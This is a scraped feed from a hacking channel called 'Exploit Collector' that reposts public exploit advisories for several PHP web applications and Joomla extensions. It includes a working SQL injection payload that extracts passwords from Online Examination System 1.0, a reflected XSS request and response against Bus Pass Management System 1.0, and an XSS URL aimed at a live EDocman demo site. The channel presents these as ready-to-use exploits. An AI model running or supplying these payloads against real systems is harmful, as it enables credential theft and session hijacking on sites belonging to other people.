Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Online Examination System 1.0 SQL Injection

https://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png
Online Examination System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | dba8c93e85cd1df6195d39d4a331df0a884b158c86b28ffa00bd3dea43e7b6ba

Download

# Exploit Title: Online Examination System - SQL Injection
# Google Dork: N/A
# Date: 2022-9-28
# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-examination/
# Software Link: https://github.com/projectworlds32/online-examination-systen-in-php/archive/master.zip
# Tested on: windows 11 - XAMPP
# CVE : N/A
# Version: 1.0

Vulnerability Details
======================

Steps :

vulnerable code in file account.php
if(@$_GET['q']== 'quiz' && @$_GET['step']== 2) {
$eid=@$_GET['eid'];
$q=mysqli_query($con,"SELECT * FROM questions WHERE eid='$eid' AND sn='$sn' " );
echo '
';
while($row=mysqli_fetch_array($q) )
?>

1) Log in to the application after register new user

inject payload paramter eid => eid=5589741f9ed52' union select 1,2,password,4,5 from user--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Online Examination System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:20

Hacking Articles Tips Tricks Videos Tutorials

7 views17:20

Hacking Articles Tips Tricks Videos Tutorials

7 views17:20

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
qdPM 9.1 Authenticated Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

qdPM 9.1 Authenticated Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:20

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Bus Pass Management System 1.0 Cross Site Scripting

https://2.bp.blogspot.com/-466o0SY5wbQ/WWlvXOxbxYI/AAAAAAAAIOQ/eHwtwujRsQI9h-mxYQXglBmw7d5gufaKwCLcBGAs/s1600/h51.png
Bus Pass Management System version 1.0 suffers from a cross site scripting vulnerability.

SHA-256 | 54b5f2852b454991cb45a80382823090c9ab28550870d5b5a1a6ae83964d87e3

Download

# Exploit Title: Bus Pass Management System 1.0 - 'searchdata' Cross-Site Scripting (XSS)
# Date: 2022-07-02
# Exploit Author: Ali Alipour
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 Pro x64 - XAMPP Server
# CVE : N/A
#Issue Detail:

The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

# Vulnerable page: /buspassms/download-pass.php

# Vulnerable Parameter: searchdata [ POST Data ]

#Request : 

POST /buspassms/download-pass.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=s5iomgj8g4gj5vpeeef6qfb0b3
Origin: https://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: https://127.0.0.1/buspassms/download-pass.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 25

searchdata=966196cyne7%3cscript%3ealert(1)%3c%2fscript%3eyhltm&search=
#Response : 

HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 00:14:25 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.8
X-Powered-By: PHP/7.4.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6425
Connection: close
Content-Type: text/html; charset=UTF-8
Bus Pass Management System || Pass Page

yhltm" keyword 
...[SNIP]...

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Bus Pass Management System 1.0 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:20

Hacking Articles Tips Tricks Videos Tutorials

7 views17:20

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Joomla AdsManager 3.2.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Joomla AdsManager 3.2.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 17:20

Hacking Articles Tips Tricks Videos Tutorials

7 views17:20

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Joomla EDocman 1.23.3 Cross Site Scripting

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png Joomla EDocman extension version 1.23.3 suffers from a cross site scripting vulnerability.

SHA-256 | 7b56a9d176668a085432fd6441efba2f1cb355a86dd6f94e9c5fcdce3437fd1eDownload

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                      [ Exploits ]                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                                                                    :
│  Website  : extensions.joomla.org                                                      │
│  Vendor   : Ossolution Team                                                            │
│  Software : EDocman 1.23.3 Extension for Joomla - Reflected XSS                        │
│  Vuln Type: Reflected XSS                                                              │
│  Method   : GET                                                                        │
│  Impact   : Manipulate the content of the site                                         │
│                                                                                        │
│────────────────────────────────────────────────────────────────────────────────────────│
│                              B4nks-NET irc.b4nks.tk #unix                             ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│  The attacker can send to victim a link containing a malicious URL in an email or      │
│  instant message can perform a wide variety of actions, such as stealing the victim's  │
│  session token or login credentials                                                    │
│                                                                                        │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL 

CryptoJob (Twitter) twitter.com/CryptozJob

┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                    © CraCkEr 2022                                    ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
GET parameter 'filter_search' is vulnerable to XSS

Path: index.php/edocman-layouts/categories-layouts/tree-view/search-result?filter_category_id=1&filter_search=[XSS]

https://joomdonationdemo.com/edocman/index.php/edocman-layouts/categories-layouts/tree-view/search-result?filter_category_id=1&filter_search=ekmj6"onfocus="alert(1)"autofocus="fjozn
[-] Done